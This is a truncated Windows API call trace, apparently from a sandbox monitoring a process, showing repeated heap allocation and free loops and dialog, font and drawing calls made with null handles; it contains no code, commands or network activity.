[0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.674] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.674] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.674] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.674] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.675] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.675] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.675] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.675] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.675] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.675] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.675] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.675] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.676] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.676] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.676] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.676] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.676] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.676] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.676] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.676] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.676] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.676] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.676] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.676] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.676] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.676] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193727463, cy=27, fuLoad=0x0) returned 0x0 [0026.676] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.678] GetLastError () returned 0x715 [0026.678] SetLastError (dwErrCode=0x715) [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.678] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.678] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.678] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.678] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.678] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.678] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.679] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.679] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.679] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.679] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.679] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.679] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.679] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.679] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.680] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.680] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.680] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.680] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.680] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.680] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.680] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.680] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.680] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.680] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.681] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.681] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.681] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.681] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.681] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.681] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.681] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.681] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.681] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.681] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.681] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.681] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.681] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193708518, cy=27, fuLoad=0x0) returned 0x0 [0026.681] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.681] GetLastError () returned 0x715 [0026.681] SetLastError (dwErrCode=0x715) [0026.681] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.681] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.681] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.681] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.681] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.681] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.681] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.681] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.681] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.681] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.681] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.682] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.682] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.682] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.682] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.682] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.682] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.682] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.682] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.682] 